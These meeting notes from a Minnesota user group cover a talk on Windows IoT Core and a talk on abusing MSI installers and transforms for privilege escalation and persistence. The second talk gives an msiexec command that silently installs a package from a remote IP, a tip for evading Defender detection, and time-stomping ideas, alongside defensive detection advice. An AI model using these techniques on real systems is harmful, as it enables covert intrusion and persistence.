MNSCUG November 2018 Meeting Notes
Notes from Andre Dupre - (thank you!)
IoT and AI
Bernard Carter (now micro)
IT Pros don't have to be developers
…but, scripting/computational thinking is essential to automation.
Incremental, small changes over time are recommended.
No shame in starting with samples or pre-existing work. Its not important that you alone built it but that you figured out how to use it, extend it, build off of it, etc.
What is IoT? Context is important:
At home this means assistants (Alexa, google, etc) motion sensors, lights, etc. At work this means digital signage …
Bridging the physical and computing worlds with IoT. But this adds a lot of complexity.
Need to break the complexity down into smaller, manageable pieces.
Win10 IoT Core is purpose built embedded OS. Free to low cost depending on licensing. UWP apps are front and center (no UI, no desktop).
Very small, lightweight (400MB memory and 2-4GB OS).
As opposed to Android or other IOT OS's this one does get regular security updates. Does not currently support WSUS, just goes directly to MS.
Building a baseline IoT core image can be done (scripts on github) with powershell commands. Think of this much more like building the ROM, not like traditional OS deployment (where you might build and cap and dynamically install other stuff). Instead you define everything (the disk layout, config files, etc.). These are hardware specific (think of it like a phone).
Versions of Windows IoT
There are 2 versions of Windows IoT (Core and Enterprise)
Core CB and LTSC Lightweight Limited hardware support (Raspi, some qualcomm, some intel). Enterprise (SAC, CBB, LTSC) Traditional windows Same as Win10 enterprise (bits) but licensed differently. Usually comes from OEM with license already (not allowed to install Office or use it for productivity type stuff).
I'm lost without a desktop!?
Management tools MDM in particular Remote powershell Note: not all commands are supported (netsh for example for network stuff). Microsoft docs will list all of the posh cmdlets that are supported. Also, it is not regular Powershell, it is Powershell Core (so get-CIM instead gwmi, etc.) Windows Device Portal Gives you web portal (GUI) to remotely manage the device Processes Take screen shot Run windows updates Etc. Hosted on the device itself By default uses admin account (you should set this of course) Apps run different account (sandboxing) There are some sandbox extensions that can let you do things like reboot device (things you normally can't do from the locked down session).
Recommends starting with Raspi to start hobby.
Inexpensive Widely available Huge eco system You get I/O However, not the best for video playback.
Hats = something that plugs into the GPIO pins and sits atop it like a hat. Examples are LED strips or separate programmable boards.
You get hardware accelerated video More traditional form factors You don't get I/O
Apollo lake platform Fast, hardware accelerated video I/O Relatively cheap (1-200$) for a computer Pre-built images from Aaeon
IoT Core Tasks
Easy Installing your app from Visual Studio Generating an Appx package and installing via Windows Device Portal Using Device Portal Installing drivers at runtime Harder Compiling drivers into an image Compiling app into the image Retail builds (digitally signed stuff).
Lots of dev resources available
Github.com/Microsoft /Windows-iotcore-samples Embedded web server - /tree/develop/samples/IoTBlockly/CS/SimpleWebServer /Windows-universal-samples /Windows-machine-learning Etc.
What about security?
Using UWP helps Default is to disable network loopback, default firewall rules
Internet is a must for IoT devices, usually all of the fancy AI, face recog, etc. is not processed on box, just offload to the cloud.
The demo gods did not smile tonight. Perhaps more chickens next time…
Free AI training online from Microsoft.
Adafruit feather (tiny little guy with a light, 3d printed case, has a button).
Custom code, runs on raspi
When you press the button it makes a cowbell noise and then posts to MS Teams.
Think of it like lego blocks.
Detect button press (read pin) > blink LED > send keyboard press > play sound > post to Teams (webhook to send message by json data).
Ms docs / Actionable-messages, to get space where you can create and see the Teams messages.
Lots of resources out there. Pick a project that interests you.
Hackster.io/microsoft Blog.Internetofgrey.com Ada fruit Ms forums github
Stealthful Code Injection Using MSI Files
Brandon (Brady) Donovan and Sean Pierce
Attack Scenario (based on real events)
Schedule task to run batch file to run msiexec with transforms (mst).
If people have access to write to the msi or transforms path, how could it be abused?
Replace MSI Backdoor the MSI Backdoor the MST
So far there hasn't been too many malicious MSI files. Many are done badly… except for a few.
Duqu - Kaspersky write up, is an example
Sony attack - an SCCM Admin creds were embedded in the malware. We don't know if SCCM was used to spread but that user likely had a lot of access!
Msi is a database not an executable Msiexec.exe is the process that executes the commands from the database Common for administrators Scripts Sccm GP Command examples Can come from file Can register dll Can source fomr http Msiexec /q /I http://192.168.1.3/tmp/cmd.png
MSI File Elevation
Likely to see success at small or medium orgs where there's not dedicated security and IT doesn't have time to crack open and inspect every MSI
Adobe documentation to deploy by GPO recommends "Always Install Elevated" which means that anytime MSIEXEC runs it auto elevates. Allowing non-admin users to run msi as admin.
"NT Service\TrustedInstaller" = not quite a user, not quite a group. Owns many system files
Token can only be stolen when you are SYSTEM.
MSI files, when executed have higher privilege than even system (for example, SYSTEM can't delete files in system32, but trusted installer can).
MSI Elevation Walk-through
Run MSI File handler msiexec.exe launched as user Checks if the package asks for elevation Checks GP / Reg Key Always elevate installers Install or setup in msi file name Checks beginning of the package for required permission level At the install step for required permissions …missed this one (its on the slide).
SuperOrca (even better than regular Orca).
Elevated executables go to disk Modifications to MSI will break the signatures MST files however, are not signed. They can be http sourced as well. Get copied to c:\windows\installer
Where to insert our code?
Custom Action table provides a way of integrating custom code into the installation
You could store payload in the MST and the execute it using the CustomAction Types.
MS does not like these and even banned use of CustomActions within office releases
Types of CA
Open your MSI Make a transform Stream a your code into the InstallExecuteSequence (row 4017 in the example) right at the bottom of the existing sequence Make sure it runs as System Then generate your transform.
For some reason Windows defender seems to think more semicolons = more likely malicious. One example payload was caught by Defender, until the semi-colons were removed, then it was not detected.
You can also have custom actions run when uninstalled.
Windows helpfully keeps cache (c:\windows\installer) of all MSI and MST files so they can be used for uninstall later (you can see in registry where its stored).
Need to make sure to return 0 to MSIEXEC at end since it is blocking, otherwise msiexec will idle and eventually die.
Verbose logging will output all the custom actions (though it doesn't log what that kicked off).
There are some attacking tools for SCCM (PowerSCCM) from same people who do powershell empire and some others.
Think about packages that are set to auto-refresh. If someone is able to add/modify the source files for your packages… then they could get TrustedInstaller access and leverage more. So really be sure that anyone who as write access to your Sources dir is trusted (and maybe periodically scan it).
This is interesting when you're using CI/CD. You usually have a drop directory where the final product gets dropped and using SCCM Auto-refresh is an attractive option. So rather than automatically dropping it and bringing it into SCCM, then use that as a checkpoint to review and ensure things are signed and secure (rather than checking it on 1000's of endpoints after deployment).
Local Persistence Techniques
Poison MSI/MST files in following locations after they've been added there.
C:\windows\ccmcache C:\windows\installer Add/modify transforms subkey of HKEY_Classes_root You can add malicious transforms If the thing is installed to the user space you wouldn't even need admin rights…
No integrity checking
Can be triggered on
Uninstall Version check Upgrade
Msiexec is commonly watched for internet access TrustedInstaller.exe and Msiexec can be used for Time Stomping (copying over existing files, creating new timestamps so it looks like it was installed a while ago) as they are not commonly watched for that. Can drop files in c:\windows\trusted installer, usually ignored… LoLBins Online (living off the land binaries) = use tools already on box (not custom malware) to create your own RAT's, etc.
Might be more ways to exploit ADS (Alternate Data Streams).
Wix Orca, SuperOrca MSITran.exe Instaedit / Instedit Advanced Installer has a free version now that MSIX is out.
Disable windows installer Computer config \ admin templates \win components \windows installer Does not apply to Adminstrators (local or domain) Log/prevent msiexec with broken signatures Detect on msiexec.exe*Transforms=*
- Created on .